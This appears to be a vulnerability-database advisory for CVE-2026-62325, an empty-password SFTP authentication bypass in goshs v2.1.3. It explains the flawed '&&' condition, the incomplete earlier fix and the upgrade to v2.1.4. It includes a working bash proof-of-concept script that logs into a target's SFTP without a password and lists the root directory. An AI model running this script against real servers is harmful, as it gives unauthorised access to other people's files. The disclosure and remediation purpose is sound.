CVE-2026-62325Critical· 9.1▾ Midnightgoshs SFTP authentication bypass via empty password (incomplete fix of CVE-2026-40884)
▾ Midnight zone — Critical, or high with PoC / in-the-wild
impact 50.1 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 31.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.3%
0.3% → 0.6%
Start goshs v2.1.3 with -b 'admin:' -sftp. No -fkf. SFTP accepts connections without password. CVE-2026-40884 blocks the empty-username variant (-b ':pass'). The empty-password variant bypasses that fix.
CVE-2026-40884 (GHSA-c29w-qq4m-2gcv, Apr 13 2026) reported the empty-username case: -b ':pass' with -sftp. sftpserver.go:85 uses &&:
if s.Username != "" && s.Password != "" {
sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {
return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 && subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1
}
}
Empty username → Username != "" false → PasswordHandler nil. No -fkf means PublicKeyHandler also nil. gliderlabs/ssh sees all handlers nil and sets NoClientAuth = true. Unauthenticated access.
Patrickhener fixed it with a sanity check at sanity/checks.go:114-118:
if opts.FTP && opts.FTPSFTPMode && strings.HasPrefix(opts.BasicAuth, ":") {
logger.Fatal("When using SFTP with password authentication, the username cannot be empty. ...")
}
HasPrefix(":") catches empty username. It does not catch empty password.
Same && at sftpserver.go:85. Same nil handler. Different input:
goshs -b 'admin:' -sftp
Username = "admin", Password = ""Username != "" && Password != "" → false. Password is empty.PasswordHandler not set. No -fkf → PublicKeyHandler not set.NoClientAuth = true.CVE-2026-40884 patched the symptom (empty username) with input validation. Root cause (&&) stayed in the code. v2.1.3 still has it. That makes any unanticipated input format exploitable.
#!/usr/bin/env bash
set -euo pipefail
HOST="${1:-127.0.0.1}"
PORT="${2:-2121}"
echo "[*] Connecting to goshs SFTP at $HOST:$PORT with empty password..."
echo "ls -la /" | sftp -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o PreferredAuthentications=none,password \
-o PubkeyAuthentication=no \
-P "$PORT" -b - admin@"$HOST" 2>&1 && \
echo "[+] VULNERABLE: Connected without password!" || \
echo "[-] Connection failed (patched or not running)"
// Wrong: &&
if s.Username != "" && s.Password != "" {
// Correct: ||
if s.Username != "" || s.Password != "" {
&& blocks PasswordHandler when either field is empty. || installs it when either field is set.
Patrickhener added HasPrefix(":") at sanity/checks.go:116. Two gaps remain:
&& still at sftpserver.go:85 in v2.1.3HasSuffix(":") check for empty password-b 'user:' and no -fkfAll goshs versions including v2.1.3. CVE-2026-40884 fix does not cover this variant.
&& → || at sftpserver/sftpserver.go:85HasSuffix(":") check at sanity/checks.gogithub.com/patrickhener/goshs/v2 = 2.1.3goshs.de/goshs/v2 = 2.1.3Upgrade to a patched release:
github.com/patrickhener/goshs/v2 2.1.4goshs.de/goshs/v2 2.1.4Connected by shared product, vendor, weakness, or advisory.
CVE-2026-66064Medium· 5.3goshs has ACL Bypass & Path Traversal
CVE-2025-61777Critical· 9.4Flag Forge is a Capture The Flag (CTF) platform
CVE-2025-14567Medium· 5.3A weakness has been identified in haxxorsid Stock-Management-System up to fbbbf213e9c93b87183a3891f77e3cc7095f22b0
CVE-2025-9815High· 7.8A weakness has been identified in alaneuler batteryKid up to 2.1 on macOS
CVE-2025-0108Critical· 9.1An authentication bypass in the Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to bypass the authentication otherwise required by the PAN-OS management web inter…
CVE-2019-1895Critical· 9.8A vulnerability in the Virtual Network Computing (VNC) console implementation of Cisco Enterprise NFV Infrastructure Software (NFVIS) could allow an unauthenticated, remote attacker to access the VNC console session of an administrative …